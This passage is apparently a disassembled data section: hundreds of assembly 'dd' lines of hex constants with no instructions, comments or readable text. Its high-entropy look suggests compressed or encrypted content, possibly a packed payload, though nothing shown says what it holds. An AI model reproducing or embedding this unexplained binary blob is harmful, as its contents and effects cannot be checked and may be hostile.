		dd 4CA6696Eh, 0DEFB1179h, 0D9F02092h, 500845F9h, 7593884Ah
		dd 0F27A940Ah, 3E116FF3h, 7EDF382Ah, 1161B4F8h,	84557E2h
		dd 68260E6Bh, 0BAD30C14h, 930C5650h, 0BEE3788Dh, 0D0A384CCh
		dd 25DE2410h, 104AF89Bh, 6069BDCDh, 1D4211DAh, 3BC23029h
		dd 4D731011h, 880A418h,	6E183E53h, 6B080852h, 18C87375h
		dd 7395866Ah, 756A1A08h, 0CB1432ECh, 0C72ED64h,	0DD20936Eh
		dd 9B631022h, 5034C564h, 0DA892834h, 1008A8F2h,	0B4752F49h
		dd 45FFDE08h, 116A7473h, 355CCDE0h, 9408145Fh, 55085EB3h
		dd 0D457106Fh, 0EBA01068h, 0CA118D9h, 33246893h, 3923B2B1h
		dd 69B01168h, 747B05FFh, 656B0821h, 238E6418h, 23BD7963h
		dd 96542273h, 8408C8BBh, 5D677562h, 68206955h, 0E26B18CEh
		dd 0DA9C4ED3h, 81B1419h, 18346484h, 10B12CD9h, 46637004h
		dd 18848608h, 0DB62C782h, 6570082Dh, 0D140D46h,	6BDC75E4h
		dd 0C10C074h, 0DEF05D29h, 0B8ACCC27h, 0F06084DFh, 94259674h
		dd 73850C75h, 61083270h, 0C298FF33h, 0BA336E6Fh, 6164386Bh
		dd 0DA2FB786h, 62260874h, 68670A43h, 3C944F1Ch,	957420D9h
		dd 0D10C628Eh, 74662908h, 47049BA5h, 0BD789410h, 794A340Eh
		dd 52642F08h, 0AE3D96BCh, 18ECF475h, 28349377h,	0ABAF90C5h
		dd 0B7107E22h, 113FFC13h, 1061A862h, 5479C7A1h,	0D936F820h
		dd 0E5E36710h, 74661045h, 0CD048BDh, 0C0650842h, 324BC473h
		dd 0B0B36158h, 8C4C7ABAh, 11BC10DEh, 762B7375h,	0A11426C0h
		dd 7329BFE4h, 52F7BF20h, 115A0879h, 284308F3h, 55B9EC5Fh
		dd 10FDA136h, 864CE6AFh, 2962480Ch, 0EF25109Ah,	0BD081F73h
		dd 720DE1F9h, 0EB6B2F6Ch, 0BFAB7883h, 0C8C9796h, 65470886h
		dd 6EFE8C70h, 0A3A9D68Ch, 4C1169CEh, 0C5DE1A9h,	69370815h
		dd 505A3D88h, 7428B133h, 511D63Bh, 0AD796D16h, 420C428Bh
		dd 3FD04108h, 0C107074h, 676E8408h, 21608965h, 0E10C09FEh
		dd 0E6084D6Fh, 596D9B49h, 6408080Ch, 65264CA4h,	116D7779h
		dd 111084A1h, 28778A62h, 18760A4Fh, 8A14C6Ah, 0B823699Fh
		dd 0C1114F43h, 45594908h, 3892DE08h, 5ABC30D9h,	0B46EA44Eh
		dd 100F6808h, 0DE186894h, 40297212h, 46C319AFh,	670C34EDh
		dd 4D30AA14h, 6508187Eh, 6EDD0DE1h, 4046EA0Dh, 705898B0h
		dd 13119A0Eh, 6B10494Ch, 0B8087429h, 0BF612146h, 0D6796390h
		dd 106700B3h, 4F30FA64h, 0A4FC690Dh, 63159261h,	4DEA4A30h
		dd 2F116CB1h, 1028AE1Eh, 705565F0h, 0C56EFD20h,	3E084979h
		dd 814B1E1h, 4829405Fh,	79612EBCh, 7869046Fh, 10ABE3C9h
		dd 652DBC68h, 0BC3AE80Ah, 0A7B0D95Fh, 610F4111h, 75A511BEh
		dd 27F970EEh, 6E10675Ch, 6F695118h, 0C511464h, 0F0663808h
		dd 0D1688686h, 0DC9F8010h, 4A6617Ah, 103B10EDh,	959F801Ah
		dd 97782170h, 10D3004Ch, 11BFF68Dh, 704674B8h, 6C692386h
		dd 2920D826h, 0ACBB73FCh, 68AE252Dh, 1899FCA9h,	0B02D5665h
		dd 0AC24765Bh, 0D07573F5h
		dd 0F71310ADh, 0F724115Ah, 0C27C29AEh, 48610C91h, 94CA6708h
		dd 0FB480864h, 44B808A1h, 0F3289264h, 3BEA084Dh, 38496484h
		dd 0BEAB4463h, 924C271Bh, 0BA2729DFh, 0DC1657A6h, 0C9940C84h
		dd 759E736Ah, 4178D3FEh, 0BC5CCAEDh, 89710CE9h,	0AE787274h
		dd 6408890Ch, 0C97481A4h, 3D9497D8h, 920C7394h,	80987A5h
		dd 0F3EA1014h, 6B145F02h, 360842C8h, 95117064h,	0FC46033h
		dd 9D085475h, 0B09B65D1h, 0AA0824DDh, 240C78E1h, 6D79436Eh
		dd 8024E8Bh, 0E264AB6Bh, 6D1811B7h, 0D83A55FEh,	8540C0Fh
		dd 0D75E1D7h, 0BB4C3540h, 420C5742h, 5B1C4208h,	832C0C4h
		dd 2B54AB6Ch, 821C144Fh, 5D08120Ch, 88258D8h, 34FC1BCAh
		dd 0FEDE18CDh, 0C523BBFh, 0C1786513h, 4869636Ch, 90D0770Ch
		dd 0C71168F4h, 8A24824h, 0A2F11884h, 48F1187Bh,	70536C10h
		dd 6F477908h, 38BE8670h, 0C3308B4h, 854F564h, 462949ACh
		dd 0EDDA7CA8h, 6E081988h, 64180C0Dh, 0DA84625Bh, 8510C64h
		dd 2E5A5AA3h, 0A89B5710h, 0A51CDDC5h, 79C04110h, 0E7E10855h
		dd 7FA00815h, 908A279h,	865070E9h, 113AF924h, 509030E2h
		dd 0D000ECD2h, 4C24940Ch, 8622AB4h, 79553890h, 11E15608h
		dd 0DAA96D58h, 1008A811h, 777AE022h, 0A9848A6h,	1BB74884h
		dd 0A104BC1h, 48086414h, 53671318h, 103E2634h, 6C1B8997h
		dd 7D18DE80h, 10AF2DD1h, 1038251Bh, 0A269A163h,	92D2F395h
		dd 0F4FE6224h, 74CB4BDFh, 361057CDh, 1DAC100Dh,	0C2FF10DDh
		dd 88C96488h, 5E6F089Bh, 0BC5EA961h, 0B9BC524Fh, 75189964h
		dd 849EDFFh, 5E526B73h,	48F48611h, 0B3950884h, 66AFE4ACh
		dd 6C5D101Ch, 4308426Eh, 45304910h, 0FD1BE210h,	426FD0BDh
		dd 158FB116h, 9E24AD10h, 10ED6C2Ch, 18B6A068h, 9E816CF5h
		dd 53ED212Ch, 0EC20D4DEh, 8A46D19h, 11C48584h, 14997561h
		dd 29D81C2Bh, 0A7681308h, 77196F7Ch, 6A543DB5h,	12AB74BFh
		dd 6995AC0Ch, 0ED5156F2h, 394BF7EDh, 0C5EEC4E5h, 0AB19346Ch
		dd 1864DCB7h, 0A7048D64h, 818E210h, 6D8E08F4h, 0C3D11065h
		dd 9FA20845h, 8A308A08h, 0D0399788h, 49F16F08h,	519C2D10h
		dd 8A0C0D50h, 8736412h,	2ABF1068h, 1ED62C61h, 4A083D11h
		dd 87F11FFh, 1E683042h,	6B616208h, 146EBA1Bh, 5C656322h
		dd 0CE6E906Fh, 0BD751179h, 5116BA5h, 40A67919h,	55EB196Bh
		dd 0B10C35F5h, 0D0809E3h, 0E7942B10h, 0CB429BFh, 8A66414h
		dd 6508B6D1h, 98FD62B2h, 0D1D0FD92h, 0D008900Ch, 0DA269230h
		dd 8A0886EEh, 8D61210h,	5ABC7D08h, 1173054Dh, 28450B28h
		dd 772B0928h, 67183458h, 0E86E85ACh, 0FDB19342h, 993A100Dh
		dd 0A6B55D48h, 0CCAD5710h, 5B7AF910h, 1147C40Fh, 0E69778D4h
		dd 45A5F121h, 104EC7EBh, 0D98B9437h, 7F10B7C7h,	0F0CF74E8h
		dd 530ABFA4h, 10480879h, 0FD0543AFh, 8A5081Dh, 0D0A5087Ch
		dd 5A0882A0h, 0F6088AD3h, 0AC7913CCh, 4412A4C8h, 18F896ABh
		dd 72CE7642h, 8E8A1DCh,	0DA376444h, 0DB6D2A76h,	0BCECA9C6h
		dd 0C8534AD4h, 746F4BB5h, 1451EB18h, 1CB24EFCh,	723E1491h
		dd 0AB8A7AC0h, 45D96ADDh, 6B1131D0h, 85631861h,	0AB7A4338h
		dd 7A0C3A4Fh, 0B24E9CCDh, 1A389A5Ch, 6708260Ch,	86855BDh
		dd 8060265h, 0B85DFBAAh, 81E0C14h, 11796D8Eh, 2FB3E95Ah
		dd 0CFA44675h, 14146918h, 71A3D696h, 5AC961BEh,	75958A08h
		dd 2C8ABC94h, 7463AD55h, 95630C18h, 0A3B6E8EEh,	8AA7CBDh
		dd 0AF5D6812h, 0DBD4B5F0h, 3C2DFC19h, 4B9D3C2h,	673814D1h
		dd 8ECB27CAh, 682AEE7Fh, 5142B808h, 0BB973B4Dh,	135A0C0Ah
		dd 0A5AC518h, 0C7883311h, 50EDB3EFh, 0BFC618DAh, 0E52A11DBh
		dd 75100813h, 6D7A9940h, 73821057h, 76F63279h, 3BEB08A0h
		dd 42E294CDh, 0FE201234h, 79646261h, 0EE6D0856h, 0D8A0C465h
		dd 0DD808308h, 0A6C100Fh, 20A31865h, 0F916A25h,	533D1E87h
		dd 9F245910h, 0DECD44AFh, 8D462531h, 0A9ED54F1h, 0EC9578CCh
		dd 0B453B55Eh, 329F2CA2h, 0E9057CD8h, 11EDFC5Eh, 0DA57102Bh
		dd 6D250C43h, 0CA058D3h, 8A46971h, 0E18C3270h, 67466E0Ch
		dd 72E0B04Bh, 9A5D08A2h, 508B77CCh, 8826352h, 108A4970h
		dd 1A74BD07h, 0C194D74h, 0B2956308h, 520C29D3h,	0BF0C8CC8h
		dd 0C8C0E72h, 72110884h, 0BA937974h, 0C0AE1D7h,	701708E8h
		dd 935597F2h, 7561848Ah, 0EB67671Ch, 395A8F43h,	804618Dh
		dd 0C4E91827h, 3410D573h, 741A10DAh, 88675D0h, 5A3A19F5h
		dd 0E07B1037h, 22F7542Dh, 0A511D62Ah, 248A3E14h, 0D0411C42h
		dd 0C51493E6h, 9A5B1034h, 66BBC45Ah, 0ED11138h,	63A6653Ch
		dd 426C3472h, 0A142FACh, 5CBE7074h, 8042FAh, 41464544h
		dd 0D1544C55h, 20DEA021h, 0E4A03B9Fh, 891F6B8h,	51610150h
		dd 69E50868h, 0FDA84456h, 0AB24992Eh, 10BFE018h, 0A9D36E77h
		dd 1A109A18h, 27705420h, 0C28B332h, 3C594B08h, 0E4B310B5h
		dd 0ED691164h, 910CD090h, 24632908h, 0D3A048A1h, 0D58B2C84h
		dd 0F5639D3Eh, 0B81A745Ah, 1BAD2A11h, 0C8A2422h, 0C23DDDEh
		dd 0B9708A0h, 0D6474CF4h, 0E2C89918h, 1355BE42h, 7967C700h
		dd 0E4B413A9h, 44B2DFEh, 9029BB0Ch, 0AE650C02h,	4874CF08h
		dd 6BD8696Eh, 18345493h, 11A79AD9h, 0CA14BFBh, 0CA3B526h
		dd 79B72DB5h, 0A7A9B778h, 0CA38E76h, 77FE0820h,	79426273h
		dd 7BF2A541h, 0AA113488h, 8506124h, 781443B7h, 0F3A77999h
		dd 0A14A118h, 64087970h, 54367573h, 460AF310h, 50FF5BC4h
		dd 0DA9B08E8h, 42140846h, 0C4A54A08h, 0C0DDD31h, 86CDB02h
		dd 76803108h, 0F6144D61h, 59FD3C92h, 8A082240h,	93147F18h
		dd 8820C8Ch, 9CD0F9F0h,	71C2D714h, 0BC947F79h, 88951486h
		dd 0FCBB0814h, 62157343h, 114A1061h, 0F14E206Bh, 10F6B400h
		dd 116868F6h, 346BE584h, 0EB5C6540h, 943685C4h,	243A9DB0h
		dd 38530C0Bh, 706718B4h, 48EFE4AAh, 640C3461h, 2C58290Ch
		dd 5AC7D751h, 84681689h, 0B511D30Ch, 117DCF4Bh,	0B376612Fh
		dd 5A187B78h, 6400C479h, 742AAC0Ch, 0C15408A2h,	651E08A1h
		dd 4A2020E3h, 6968E369h, 0F2A6E210h, 0D30C8C41h, 8BB8FD10h
		dd 53C05479h, 5D146485h, 2170DC08h, 9A886595h, 7F501210h
		dd 1C1BE0B2h, 610821E5h, 9E281D74h, 0B54F0842h,	6C141831h
		dd 9D8665F8h, 0BF086808h, 892F74D5h, 0B810B12Fh, 662E6C75h
		dd 2AF51834h, 809F7C9h,	18131AC2h, 5131E2ECh, 4E2D632h
		dd 75D632AFh, 6056AAD8h, 0B5D768A9h, 2D1419FFh,	0D18DADCh
		dd 812B8A9h, 0DC109B68h, 9D7C2CCBh, 10D24E46h, 116D38F3h
		dd 1D077587h, 8C16DA0Ch, 0B6108420h, 0FF1022CAh, 1E4233EEh
		dd 0AC642C08h, 3CD8F35Ah, 2B24BF4Bh, 6EF90855h,	0BE899211h
		dd 0BC9410ABh, 4AECB34Fh, 2F553FF5h, 92029ABh, 7A25383Ch
		dd 0EA763CA2h, 4B1CEC2Fh, 7DA7B162h, 430CD084h,	68631008h
		dd 979724D1h, 59111D50h, 6D109E80h, 0C6684F4h, 0C44E97A4h
		dd 8060C8Ah, 654E8272h,	0C45D0A6h, 966E0808h, 6F18ECB0h
		dd 86CE9CAh, 0B5F1F234h, 0F6691408h, 842D067h, 106BB953h
		dd 52D53143h, 8C95008h,	0A8186B8Ah, 86F52A9h, 80CF145h
		dd 6FFF8669h, 7152C556h, 18DA83E9h, 10B3E414h, 73B411B7h
		dd 0C26B0877h, 6D082562h, 65641035h, 0C1C4DD17h, 6B080837h
		dd 4050C909h, 101A088Ah, 78618660h, 420C6557h, 65884408h
		dd 0C2EF08A4h, 55049A2Bh
		dd 0A2F8CD88h, 616D1008h, 935CD570h, 0AA6FE5C2h, 10CDD810h
		dd 441973F9h, 7821E9F1h, 2F54B39Dh, 0E32B6710h,	1252D05Ch
		dd 0BC01F914h, 5A1E525Fh, 2CFE10C5h, 113C116Dh,	0C7A20845h
		dd 65614608h, 8246CA4h,	85F78F89h, 8530C74h, 79F5BFB1h
		dd 0E0031449h, 1466E375h, 107A6E11h, 61AB596h, 8C8E109Fh
		dd 692A36F9h, 4B83FC10h, 1252585Eh, 84EF081Ch, 7249A5C9h
		dd 2A850854h, 4DEF0879h, 14906510h, 10807410h, 7514D0CFh
		dd 14D50C70h, 0D1D0569Ah, 101A088Ah, 2A510E57h,	52B8086Eh
		dd 42914C10h, 0BB652F08h, 72102AF4h, 1A088235h,	3C887F10h
		dd 940C21E5h, 10D10866h, 1045EF91h, 11E407BEh, 0D851EF6Eh
		dd 948C7008h, 0CA0822F4h, 6E087305h, 246C4611h,	106C2A69h
		dd 0D092A664h, 764FF410h, 0B48119E8h, 0A5344775h, 0AA102779h
		dd 7AA7BF74h, 104A3D1Bh, 69AA4BF1h, 23079D16h, 0BD1CEA69h
		dd 0B42599FCh, 5BFCF310h, 0C429CA7h, 347C1068h,	9AFFBCD3h
		dd 8A186C10h, 8BABD0E7h, 0A2DE7C08h, 0FE887508h, 786D9518h
		dd 0FE42125Dh, 0ACA7D45Bh, 33BD7041h, 0A105EAFh, 0B7086C68h
		dd 31658E9Ch, 6E144933h, 0C89B8658h, 7F7618B2h,	0BBDD9092h
		dd 0C28430Ch, 11786475h, 9234AC73h, 91599BEh, 0DA08381Ch
		dd 82D76C10h, 12101A08h, 0CDB5FE70h, 0FB0A6F11h, 116E0873h
		dd 65B8673Ch, 46535C43h, 13186B34h, 661029F9h, 21DAA678h
		dd 84D9AD08h, 699D0C23h, 6555082Ah, 4315782Ch, 24FB4B94h
		dd 100825CCh, 0D4982C1Bh, 8A4676Fh, 0BCEC21D6h,	0F30C25A4h
		dd 5B67896h, 9F1BD4C9h,	9808EA64h, 6BC0ABB7h, 28EE5464h
		dd 130F129Dh, 0EFB24508h, 2F0792E2h, 9E219C08h,	38C6BE63h
		dd 9A494365h, 8908A472h, 0C96E6710h, 32DFF66Eh,	43541320h
		dd 72100818h, 6BB5D374h, 51BE0815h, 199AC04Ch, 10D939D2h
		dd 60456B8Eh, 76BA2484h, 0B3B51857h, 0B06CFECCh, 0D0EC9792h
		dd 0B662BA82h, 0A9C24C2Bh, 0C8A8096h, 64F3080Fh, 9A2ABD5Ch
		dd 347A7910h, 86F05311h, 0C8C39ABh, 34F7388Ah, 861086E4h
		dd 906CB718h, 2034675Eh, 78081459h, 21A10159h, 0A4106E0Bh
		dd 24391264h, 0AEC2200Dh, 30E61318h, 0F0DF124Eh, 0B3B477B8h
		dd 56380F23h, 0B0F5970Eh, 0D0B9E345h, 25E97D9Ch, 8C97E477h
		dd 9D108C0Eh, 3078A4A2h, 1C53B47Ch, 6F336C13h, 889F8F0h
		dd 0E3650C74h, 20506F0Dh, 77300220h, 2E64336Eh,	9D4FD1F4h
		dd 93D26CA0h, 0FD9350ECh, 0A4E4D614h, 84CFF69h,	919D8C6Bh
		dd 0B4336240h, 4A4E4D3Fh, 0A1087748h, 7026B810h, 2596A63Dh
		dd 0E3BFA6D2h, 0C678596h, 1009310Dh, 92D896Ah, 631C030Bh
		dd 7E081745h, 81A9C74h,	0F59A0B58h, 6878466Ch, 5E250893h
		dd 1408A95Ch, 0AAD20879h, 5EEF2364h, 31DA2990h,	566664CAh
		dd 8A95953Ch, 5C68B886h, 0A5535425h, 664BD85Ch,	9D59B0A4h
		dd 0BE7430B2h, 0BA0C6A6h, 0C8000EB7h, 0DB50496Ch, 30821783h
		dd 4125089Bh, 6CB4492Dh, 0B190C49h, 4E09B1C2h, 7A270CBDh
		dd 625A7066h, 162C0489h, 0A0EB7326h, 0BC6E97F2h, 925C6B59h
		dd 85373833h, 928F9050h, 363874ABh, 0EA619C0h, 6B020AD0h
		dd 5A08FC10h, 36FA6943h, 0D69D886Ch, 0F5D4CBD4h, 882521AEh
		dd 11B36C09h, 0F8F98C73h, 4164692Dh, 416923F3h,	564DD64h
		dd 61DC11AAh, 0D05DF95Fh, 25EFDB6Ch, 4EAA7939h,	8B8DA034h
		dd 6411257Ch, 0BD3850FBh, 41085277h, 0AFA32A10h, 97F92F9Ch
		dd 25380CC8h, 0C5B17435h, 0AF093536h, 0A57063F7h, 9043380Ch
		dd 3823DC08h, 0E18C7046h, 19ADF84Dh, 10821C7Ah,	2D8AF95Fh
		dd 0C16FCB2h, 7516BD96h, 0FE5E3C27h, 5F69506Ch,	9A5FCFEAh
		dd 3D92DDB8h, 386CD1D7h, 98DCFD5Bh, 8414210h, 50554B43h
		dd 0F68F0E37h, 2A6EC6BAh, 94F630D2h, 774F2770h,	57C1159Bh
		dd 0AC33444Eh, 0D04D3D34h, 493D461Ch, 12576E4Ch, 44DF0ABBh
		dd 4F420210h, 7CAB4854h, 34A12F2Bh, 474C5546h, 52570173h
		dd 749EA049h, 5141483Dh, 50E39408h, 85FF7518h, 524F57D4h
		dd 4D843C58h, 4C4E5049h, 7851E34Fh, 81595547h, 8449283Ch
		dd 24463349h, 522ECF72h, 884FD43Ch, 0D51D694h, 0EC99162Bh
		dd 0C4189BCDh, 0AE9574B8h, 4EE0B292h, 35D116EAh, 77D1233Ch
		dd 7CF2025Ah, 50EA7489h, 7532D22Ch, 5739C49Fh, 345FE06Fh
		dd 0AF2CDDC4h, 0D7656A96h, 0CC84CD9h, 5C396571h, 367F412Dh
		dd 380B168h, 362E3120h,	38F3993h, 0E8E4402Ah, 7BAB97B2h
		dd 6F4209FCh, 0C3CCF774h, 5F582E6Bh, 7E9779C4h,	0DA38A313h
		dd 0AFA7F35Fh, 0F7522AFCh, 14C5C4FAh, 0A5FA0A0Dh, 3095996Dh
		dd 11453A05h, 0BEA6867h, 4F78044Bh, 8C3FBE86h, 2F41E10Fh
		dd 54214F48h, 9CF622AFh, 42788556h, 79D57355h, 16772DACh
		dd 0EB348FA2h, 97B2CE5Dh, 0EA48E3FCh, 5EFE3448h, 9606E92Ah
		dd 0D2FA39E5h, 9D62F413h, 2147BD74h, 40296A3Eh,	489EA675h
		dd 4E4C7440h, 4C325167h, 595C3A0Ah, 14272E17h, 903D4437h
		dd 0E17FD81Dh, 7B241BECh, 9784D2BDh, 92C9805h, 6FDE64F3h
		dd 0D04C2E15h, 907E292Ah, 0AB524A56h, 0A8FE8297h, 0A6D93E69h
		dd 0C8904694h, 6AE95FAEh, 86E224D7h, 747B0E2Ah,	0D479C69Dh
		dd 1EBA487Fh, 75D66F4Eh, 7F51CFBEh, 4774612Ah, 17DA4085h
		dd 92D72FA4h, 755B7F92h, 0FF250BFAh, 5021B79Fh,	0AF254A54h
		dd 5555BB28h, 8668226Eh, 0E90A538Ah, 7EE1CC44h,	0FB931EEDh
		dd 3BB4149Bh, 66021C9Fh, 0DA105FA7h, 0FAE5651Fh, 1D46AEA6h
		dd 0D1D8205Bh, 0C5707202h, 52631F54h, 3CCDFE18h, 5219FD3Fh
		dd 5F52B848h, 0DD63FD65h, 510B6790h, 70024955h,	1496723Ah
		dd 44854690h, 0C2C2F752h, 2D0451Ch, 0D6F1D348h,	1842491Bh
		dd 5491D14Ch, 0A2A83AF9h, 0AFA03A8Ah, 8FAC5A7Ch, 44445569h
		dd 5E38FE9Fh, 49F0C0B1h, 0E871BF44h, 955DB27Ah,	0A73E4A8Ah
		dd 685895F7h, 4C52744Ch, 0F5FD9A3Ch, 0FEAC5808h, 2014F9BFh
		dd 0B8F1BF72h, 4AA88756h, 15FDA75Eh, 9DFF6BECh,	823C2004h
		dd 5AB0651Ah, 69521A7Dh, 2EDD66F8h, 33A9BC22h, 482B4322h
		dd 0A14FAB80h, 54850918h, 6A5869B1h, 4B98D9h, 92500EADh
		dd 4A549DAEh, 0D4134B7Fh, 90388AAAh, 0B844E93Ch, 0D679740Fh
		dd 70916AF9h, 45F4FBB4h, 86DC9D73h, 0A5D9BF5Eh,	208A6444h
		dd 4AF59EB4h, 0D6582BBAh, 7E3E89EFh, 0BB4A93B7h, 0EE97182Bh
		dd 8FAAA712h, 2FAA4A53h, 0B2704790h, 480D4561h,	4751FCD8h
		dd 7B75F2FEh, 8A78A9EAh, 0EB105B2Dh, 30E05209h,	2BE12D5Dh
		dd 48AEA0A8h, 2152E411h, 4A178FBAh, 91183EEAh, 43935221h
		dd 5F7BED78h, 1477E749h, 0B880D182h, 4E4408BBh,	61B47D53h
		dd 0BB5AB87Eh, 2B967C3Ah, 4C66CAE8h, 4A97497Fh,	0D5FA1826h
		dd 8221D1F1h, 4305B554h, 6FF2BB2Ch, 934DF85Fh, 4C0BA289h
		dd 0AA60C5B4h, 533587B2h, 24B3AB89h, 3B88AE96h,	0A260D477h
		dd 87DF613Eh, 0AF7955A3h, 7AEA6CE5h, 0ED3EDD1Fh, 0D58C12FFh
		dd 1EB754D3h, 8E6E7E5Eh, 0A222B4h, 4F587ED7h, 0CA08792Dh
		dd 16DEB73Ah, 0C5E015A5h, 6876E84Ah, 10B23A64h,	0D337B26Ch
		dd 0D608FAF0h, 49057F34h, 24B04352h, 0DCD4B577h, 0FE489656h
		dd 55A42B97h, 73103CC5h, 8D400EADh, 80A36D4Bh, 4E2D5438h
		dd 0B59A756Fh, 0F9772032h, 76B4211Fh, 0CB74532Fh, 0B7DC53A3h
		dd 8CCC288Bh, 0CC3F899Fh, 576BF3B4h, 0E3888A0Dh, 667E0950h
		dd 0D23E7869h, 0C6909FDh
		dd 2A61C9A5h, 42AE31A8h, 0DA46A838h, 73556855h,	9CBFA506h
		dd 17C9A6A6h, 0CB38A172h, 0D49E6F28h, 72A6D695h, 75B4DBF6h
		dd 0AB4B3C7Eh, 9EF23125h, 0D3E2D1Ah, 95F6E859h,	2AE8E9DEh
		dd 96A1CCCBh, 2DB45DDCh, 98AF8A8Dh, 7CA1D817h, 2154B4FEh
		dd 808FD448h, 0A02B7735h, 0A82BAB4Fh, 0DC22EE4Eh, 0C908E764h
		dd 6BE0C757h, 25BF655Dh, 74D1076Eh, 0FD3DF968h,	0AFB49042h
		dd 0F7ABC0D5h, 0B82BF961h, 0D84CAB24h, 0A4522EEDh, 0EA4A752Bh
		dd 0CBCDB34h, 6ABD3042h, 0FC96D3F8h, 2BEE5AA6h,	0FC104E78h
		dd 0B173E85Fh, 594A7368h, 3E0C6FFFh, 2B2A5A74h,	89E82A5Ah
		dd 0A5AE5161h, 434A3B5Fh, 69A934E8h, 9CB2D230h,	4C5C3CEDh
		dd 82F929Eh, 675D5969h,	78A9EE58h, 35C22F75h, 98BB923Eh
		dd 70A72E58h, 55222C79h, 5EBAE090h, 0E413F834h,	0AC0B94B1h
		dd 0F4B0EEB4h, 6773286Dh, 7930852Ch, 0AAEC6E41h, 40D95EDAh
		dd 5CBC747Ah, 0DD63793Eh, 415082D0h, 5F787652h,	76097D27h
		dd 0D369397Bh, 0ED3C23C8h, 0DD127BB8h, 77A27EF2h, 0B8ADF355h
		dd 4AD3052h, 0D31396Eh,	0D3381F6Ch, 380B6689h, 2A94D94Eh
		dd 0EE7824AFh, 0F44732F3h, 5FAB9448h, 6336F0A1h, 4B74E34Fh
		dd 2C27BCC9h, 186C697Bh, 48E8A417h, 72C52C48h, 0F9340E51h
		dd 53ABFD2Eh, 0B66C68A0h, 6C3ACACEh, 0EB754A54h, 0FE30952h
		dd 753482A5h, 2162D969h, 2EC53143h, 0EF5A31F8h,	0B8163B24h
		dd 692CDDFFh, 0CF29977Fh, 0DFA5580Ah, 59B74E1Dh, 0E4908A4Ah
		dd 4429502Fh, 8686A240h, 0B9579521h, 0F84D2E53h, 0B27D10A7h
		dd 6FD4D30Ch, 0DDBD63ABh, 5BFA2C23h, 0F71C20DDh, 0DA68E82Bh
		dd 8C517FE1h, 5407BC5Eh, 95E21295h, 47FDC900h, 654A7AA8h
		dd 4048C467h, 55F89454h, 8DBF5212h, 5B602D08h, 380E7169h
		dd 879AFA4Ah, 50F3BBD2h, 2D88D27Ah, 2C96A4Eh, 4CD8ACFFh
		dd 5A4CA530h, 54213495h, 4C15DDA5h, 825C4C48h, 3A2FA53Ch
		dd 8F78E08Dh, 9EB92FDEh, 0A554732Eh, 0A955E2AFh, 0DC954BA5h
		dd 9F5E4C68h, 9E2FA956h, 9B80D03Ah, 2F71755Eh, 0C5FB4AC0h
		dd 0A41C2E10h, 1C564C2Eh, 7C1F649Dh, 7CBDF595h,	8FF68FA1h
		dd 558FC84Ch, 0A4157DA5h, 5FFA91C8h, 94859BEEh,	0CF357DAh
		dd 0EE9C29DAh, 0CBC3D29Fh, 0CBEA9664h, 2765B484h, 0EE924A2h
		dd 4354C254h, 0F71BBB50h, 5557BA39h, 5B735FD4h,	5929AADCh
		dd 0ABB8BD6Eh, 344B2341h, 15503BB4h, 92456F50h,	3A252EE6h
		dd 0C4A52CE7h, 0C925DF2Ah, 4B5A6D28h, 5D365B66h, 963EF6BDh
		dd 9A10C8F0h, 10181B2Ah, 43094101h, 0CB4F4954h,	0F8BDD48Bh
		dd 0B96852BEh, 29F86A2Eh, 0DA271945h, 0FB179721h, 61FDDAB4h
		dd 0A7F38F4Bh, 0F4FB5304h, 44B5744Bh, 621ABD32h, 0B9F5D05Eh
		dd 50491EE3h, 0FA701834h, 2F99F1EEh, 0A7D3D02Fh, 6EB74152h
		dd 0A0D0E2EDh, 6F5C83B4h, 1D0AA84Bh, 5F7A5679h,	0CFDA4C7Bh
		dd 4C155A08h, 33B4AA2Fh, 92E57DE9h, 36677F25h, 7A69C831h
		dd 0B564F72Dh, 6949DE44h, 9262DF03h, 9E48DA7Dh,	947F2584h
		dd 0ED2FE1CEh, 5876FD88h, 0D14C0AFDh, 0A2BFA4C1h, 151ADA16h
		dd 9ADD25BEh, 95C03679h, 49E497FDh, 3DD26765h, 0DCB4AB4Ch
		dd 0DF484C85h, 4DEE7F25h, 79FC5194h, 0B2724E4Eh, 70531A30h
		dd 2C08DF58h, 79087FF0h, 7A952470h, 0D07073DFh,	0B5947055h
		dd 2427E5E9h, 0ECF7C948h, 0F3408D63h, 932C1685h, 0E3DD2D67h
		dd 31FE5E61h, 4E0A0D7Eh, 92E14A04h, 79621410h, 0B3EDBE65h
		dd 69F35C16h, 65AA055Ah, 0CE2EACDh, 0BBAD7AADh,	4DCDDD3h
		dd 60CAEF28h, 5746DF7Ch, 902BA868h, 3C74DD0Ch, 0E3BE0F24h
		dd 24BEB514h, 15E2BE3Ah, 1AF3FEB4h, 0D92DAB5Eh,	0B9AC6C04h
		dd 72241663h, 0FCA4FA4Ah, 533BA20Ah, 9EA82E5Fh,	20AAA40Ah
		dd 950E862Ch, 84AFC0EBh, 0DCE5FF75h, 5BF2AC09h,	7E5BC89h
		dd 5FFD0A2Eh, 33DF52A4h, 0E1E0E6BDh, 0F195903Ch, 68F36627h
		dd 5267B83Ch, 8A334C14h, 12720C66h, 144F8821h, 3E312D6Bh
		dd 40430C0Bh, 2779763Eh, 0D9742E6Eh, 9DE4E6CBh,	0C8C60C6h
		dd 22E0C5B5h, 6D702910h, 3859690Ch, 54F521B5h, 834D5FBh
		dd 2F6BD8A6h, 2EA43175h, 6F8A0A7Ah, 9B5B7A10h, 31F616A0h
		dd 9238E5B7h, 0BE00252Eh, 25739098h, 6ED73179h,	26AC8598h
		dd 2105A60Ah, 0A2132C08h, 904FD008h, 0A9C564A4h, 0BDAC97A8h
		dd 8751EC47h, 0A22F0819h, 0B2623D69h, 91763C78h, 0D96B7208h
		dd 660C0346h, 0E608358Dh, 2CA67040h, 780859F3h,	0E4ACD0C4h
		dd 50FA5184h, 9E410B4h,	4337AD6h, 0CB085AEFh, 0E220668Ah
		dd 54327072h, 0E844EA94h, 7980CA08h, 6B08596Ah,	92148C11h
		dd 0C2050FFh, 286B84A7h, 9508AC6Dh, 0C214C288h,	2C946172h
		dd 807718CAh, 8656DE5h,	53064AFh, 6479630Ch, 43A2B808h
		dd 0D6613E14h, 53FA5608h, 86D29D4h, 20A2F2ABh, 44284DE3h
		dd 0DF74EF5Dh, 68671045h, 0BEBC0834h, 3AB06DD3h, 8BEC6B84h
		dd 0EEE63EF9h, 30572E38h, 2C90ACB5h, 0C752776Dh, 5434C8D0h
		dd 5573552Fh, 0C0C7D01Ah, 0BFDC3068h, 7BB5509Eh, 0DA3C237Fh
		dd 8D91F27Dh, 0DC34216Dh, 51BF7185h, 0C8CD6F16h, 841474FDh
		dd 0D88DBB22h, 0E96F4C9Eh, 0D19D5654h, 0E88AA3D2h, 0FBA37534h
